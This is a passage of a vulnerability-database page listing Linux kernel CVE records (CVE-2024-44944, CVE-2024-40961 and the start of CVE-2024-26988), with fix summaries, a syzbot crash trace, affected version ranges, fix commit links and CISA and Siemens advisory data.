              "lessThan": "24f407042cf90b0872de667460230d8d50c06c39",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "lessThan": "27662b46f2adaa52c1665a82af4b21c42c4337fd",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "lessThan": "74de442b8e12a207c07953ee068009a7701aff8f",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "lessThan": "782161895eb4ac45cf7cfa8db375bd4766cb8299",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3d8b3d0384f709126beef6b917b7e97c23f18e74",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "36bbd861a402a8c5bd8f0365a5967d34cc492f09",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "1922476beeeea46bebbe577215078736dd4231dc",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f862c13c3c926d3008b2c2bcc746ab813108dfbf",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b0a90cae081d7ee14eaa46524fb70f4e23ae8905",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.19.44",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.72",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.191",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.190",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.120",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.0.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ctnetlink: use helper function to calculate expect ID\n\nDelete expectation path is missing a call to the nf_expect_get_id()\nhelper function to calculate the expectation ID, otherwise LSB of the\nexpectation object address is leaked to userspace."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:32:29.615Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/66e7650dbbb8e236e781c670b167edc81e771450"
        },
        {
          "url": "https://git.kernel.org/stable/c/64c0b8e64be8368617ef08dfc59a3160563a1435"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb4ca1a97e08ff5b920664ba292e576257e2d184"
        },
        {
          "url": "https://git.kernel.org/stable/c/5e2c24f7b0911b15c29aefce760bcf770542fb61"
        },
        {
          "url": "https://git.kernel.org/stable/c/24f407042cf90b0872de667460230d8d50c06c39"
        },
        {
          "url": "https://git.kernel.org/stable/c/27662b46f2adaa52c1665a82af4b21c42c4337fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/74de442b8e12a207c07953ee068009a7701aff8f"
        },
        {
          "url": "https://git.kernel.org/stable/c/782161895eb4ac45cf7cfa8db375bd4766cb8299"
        },
        {
          "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1182/"
        }
      ],
      "title": "netfilter: ctnetlink: use helper function to calculate expect ID",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44944",
    "datePublished": "2024-08-30T07:56:41.693Z",
    "dateReserved": "2024-08-21T05:34:56.665Z",
    "dateUpdated": "2026-05-12T11:57:21.285Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40961 (GCVE-0-2024-40961)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:55

Title

ipv6: prevent possible NULL deref in fib6_nh_init()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: prevent possible NULL deref in fib6_nh_init() syzbot reminds us that in6_dev_get() can return NULL. fib6_nh_init() ip6_validate_gw( &idev ) ip6_route_check_nh( idev ) *idev = in6_dev_get(dev); // can be NULL Oops: general protection fault, probably for non-canonical address 0xdffffc00000000bc: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x00000000000005e0-0x00000000000005e7] CPU: 0 PID: 11237 Comm: syz-executor.3 Not tainted 6.10.0-rc2-syzkaller-00249-gbe27b8965297 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/07/2024 RIP: 0010:fib6_nh_init+0x640/0x2160 net/ipv6/route.c:3606 Code: 00 00 fc ff df 4c 8b 64 24 58 48 8b 44 24 28 4c 8b 74 24 30 48 89 c1 48 89 44 24 28 48 8d 98 e0 05 00 00 48 89 d8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 0f 85 b3 17 00 00 8b 1b 31 ff 89 de e8 b8 8b RSP: 0018:ffffc900032775a0 EFLAGS: 00010202 RAX: 00000000000000bc RBX: 00000000000005e0 RCX: 0000000000000000 RDX: 0000000000000010 RSI: ffffc90003277a54 RDI: ffff88802b3a08d8 RBP: ffffc900032778b0 R08: 00000000000002fc R09: 0000000000000000 R10: 00000000000002fc R11: 0000000000000000 R12: ffff88802b3a08b8 R13: 1ffff9200064eec8 R14: ffffc90003277a00 R15: dffffc0000000000 FS: 00007f940feb06c0(0000) GS:ffff8880b9400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000000245e8000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ip6_route_info_create+0x99e/0x12b0 net/ipv6/route.c:3809 ip6_route_add+0x28/0x160 net/ipv6/route.c:3853 ipv6_route_ioctl+0x588/0x870 net/ipv6/route.c:4483 inet6_ioctl+0x21a/0x280 net/ipv6/af_inet6.c:579 sock_do_ioctl+0x158/0x460 net/socket.c:1222 sock_ioctl+0x629/0x8e0 net/socket.c:1341 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:907 [inline] __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f940f07cea9

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/3200ffeec4d59aad5…
https://git.kernel.org/stable/c/de5ad4d45cd0128a2…
https://git.kernel.org/stable/c/4cdfe813015d5a245…
https://git.kernel.org/stable/c/88b9a55e2e35ea846…
https://git.kernel.org/stable/c/b6947723c9eabcab5…
https://git.kernel.org/stable/c/ae8d3d39efe366c21…
https://git.kernel.org/stable/c/2eab4543a2204092c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 428604fb118facce1309670779a35baf27ad044c , < 3200ffeec4d59aad5bc9ca75d2c1fae47c0aeade (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < de5ad4d45cd0128a2a37555f48ab69aa19d78adc (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < 4cdfe813015d5a24586bd0a84fa0fa6eb0a1f668 (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < 88b9a55e2e35ea846d41f4efdc29d23345bd1aa4 (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < b6947723c9eabcab58cfb33cdb0a565a6aee6727 (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < ae8d3d39efe366c2198f530e01e4bf07830bf403 (git) Affected: 428604fb118facce1309670779a35baf27ad044c , < 2eab4543a2204092c3a7af81d7d6c506e59a03a6 (git)
Linux	Linux	Affected: 4.17 Unaffected: 0 , < 4.17 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:27.367Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3200ffeec4d59aad5bc9ca75d2c1fae47c0aeade"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/de5ad4d45cd0128a2a37555f48ab69aa19d78adc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4cdfe813015d5a24586bd0a84fa0fa6eb0a1f668"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/88b9a55e2e35ea846d41f4efdc29d23345bd1aa4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b6947723c9eabcab58cfb33cdb0a565a6aee6727"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae8d3d39efe366c2198f530e01e4bf07830bf403"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2eab4543a2204092c3a7af81d7d6c506e59a03a6"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40961",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:03:26.191957Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:23.580Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:59.038Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3200ffeec4d59aad5bc9ca75d2c1fae47c0aeade",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "de5ad4d45cd0128a2a37555f48ab69aa19d78adc",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "4cdfe813015d5a24586bd0a84fa0fa6eb0a1f668",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "88b9a55e2e35ea846d41f4efdc29d23345bd1aa4",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "b6947723c9eabcab58cfb33cdb0a565a6aee6727",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "ae8d3d39efe366c2198f530e01e4bf07830bf403",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            },
            {
              "lessThan": "2eab4543a2204092c3a7af81d7d6c506e59a03a6",
              "status": "affected",
              "version": "428604fb118facce1309670779a35baf27ad044c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.17"
            },
            {
              "lessThan": "4.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent possible NULL deref in fib6_nh_init()\n\nsyzbot reminds us that in6_dev_get() can return NULL.\n\nfib6_nh_init()\n    ip6_validate_gw(  \u0026idev  )\n        ip6_route_check_nh(  idev  )\n            *idev = in6_dev_get(dev); // can be NULL\n\nOops: general protection fault, probably for non-canonical address 0xdffffc00000000bc: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x00000000000005e0-0x00000000000005e7]\nCPU: 0 PID: 11237 Comm: syz-executor.3 Not tainted 6.10.0-rc2-syzkaller-00249-gbe27b8965297 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/07/2024\n RIP: 0010:fib6_nh_init+0x640/0x2160 net/ipv6/route.c:3606\nCode: 00 00 fc ff df 4c 8b 64 24 58 48 8b 44 24 28 4c 8b 74 24 30 48 89 c1 48 89 44 24 28 48 8d 98 e0 05 00 00 48 89 d8 48 c1 e8 03 \u003c42\u003e 0f b6 04 38 84 c0 0f 85 b3 17 00 00 8b 1b 31 ff 89 de e8 b8 8b\nRSP: 0018:ffffc900032775a0 EFLAGS: 00010202\nRAX: 00000000000000bc RBX: 00000000000005e0 RCX: 0000000000000000\nRDX: 0000000000000010 RSI: ffffc90003277a54 RDI: ffff88802b3a08d8\nRBP: ffffc900032778b0 R08: 00000000000002fc R09: 0000000000000000\nR10: 00000000000002fc R11: 0000000000000000 R12: ffff88802b3a08b8\nR13: 1ffff9200064eec8 R14: ffffc90003277a00 R15: dffffc0000000000\nFS:  00007f940feb06c0(0000) GS:ffff8880b9400000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000000 CR3: 00000000245e8000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  ip6_route_info_create+0x99e/0x12b0 net/ipv6/route.c:3809\n  ip6_route_add+0x28/0x160 net/ipv6/route.c:3853\n  ipv6_route_ioctl+0x588/0x870 net/ipv6/route.c:4483\n  inet6_ioctl+0x21a/0x280 net/ipv6/af_inet6.c:579\n  sock_do_ioctl+0x158/0x460 net/socket.c:1222\n  sock_ioctl+0x629/0x8e0 net/socket.c:1341\n  vfs_ioctl fs/ioctl.c:51 [inline]\n  __do_sys_ioctl fs/ioctl.c:907 [inline]\n  __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f940f07cea9"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:11.180Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3200ffeec4d59aad5bc9ca75d2c1fae47c0aeade"
        },
        {
          "url": "https://git.kernel.org/stable/c/de5ad4d45cd0128a2a37555f48ab69aa19d78adc"
        },
        {
          "url": "https://git.kernel.org/stable/c/4cdfe813015d5a24586bd0a84fa0fa6eb0a1f668"
        },
        {
          "url": "https://git.kernel.org/stable/c/88b9a55e2e35ea846d41f4efdc29d23345bd1aa4"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6947723c9eabcab58cfb33cdb0a565a6aee6727"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae8d3d39efe366c2198f530e01e4bf07830bf403"
        },
        {
          "url": "https://git.kernel.org/stable/c/2eab4543a2204092c3a7af81d7d6c506e59a03a6"
        }
      ],
      "title": "ipv6: prevent possible NULL deref in fib6_nh_init()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40961",
    "datePublished": "2024-07-12T12:32:02.654Z",
    "dateReserved": "2024-07-12T12:17:45.594Z",
    "dateUpdated": "2026-05-12T11:55:59.038Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26988 (GCVE-0-2024-26988)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:27 – Updated: 2026-05-12 11:51

Title

init/main.c: Fix potential static_command_line memory overflow

Summary

In the Linux kernel, the following vulnerability has been resolved: init/main.c: Fix potential static_command_line memory overflow We allocate memory of size 'xlen + strlen(boot_command_line) + 1' for static_command_line, but the strings copied into static_command_line are extra_command_line and command_line, rather than extra_command_line and boot_command_line. When strlen(command_line) > strlen(boot_command_line), static_command_line will overflow. This patch just recovers strlen(command_line) which was miss-consolidated with strlen(boot_command_line) in the commit f5c7310ac73e ("init/main: add checks for the return value of memblock_alloc*()")

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/2ef607ea103616aec…
https://git.kernel.org/stable/c/0dc727a4e05400205…
https://git.kernel.org/stable/c/76c2f4d426a5358fc…
https://git.kernel.org/stable/c/81cf85ae4f2dd5fa3…
https://git.kernel.org/stable/c/936a02b5a9630c5be…
https://git.kernel.org/stable/c/46dad3c1e57897ab9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 2ef607ea103616aec0289f1b65d103d499fa903a (git) Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 0dc727a4e05400205358a22c3d01ccad2c8e1fe4 (git) Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 76c2f4d426a5358fced5d5990744d46f10a4ccea (git) Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 81cf85ae4f2dd5fa3e43021782aa72c4c85558e8 (git) Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 936a02b5a9630c5beb0353c3085cc49d86c57034 (git) Affected: f5c7310ac73ea270e3a1acdb73d1b4817f11fd67 , < 46dad3c1e57897ab9228332f03e1c14798d2d3b9 (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.88 , ≤ 6.1.* (semver) Unaffected: 6.6.29 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:15:27.644Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2ef607ea103616aec0289f1b65d103d499fa903a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0dc727a4e05400205358a22c3d01ccad2c8e1fe4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/76c2f4d426a5358fced5d5990744d46f10a4ccea"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/81cf85ae4f2dd5fa3e43021782aa72c4c85558e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/936a02b5a9630c5beb0353c3085cc49d86c57034"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/46dad3c1e57897ab9228332f03e1c14798d2d3b9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26988",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:44:56.344439Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:40.421Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
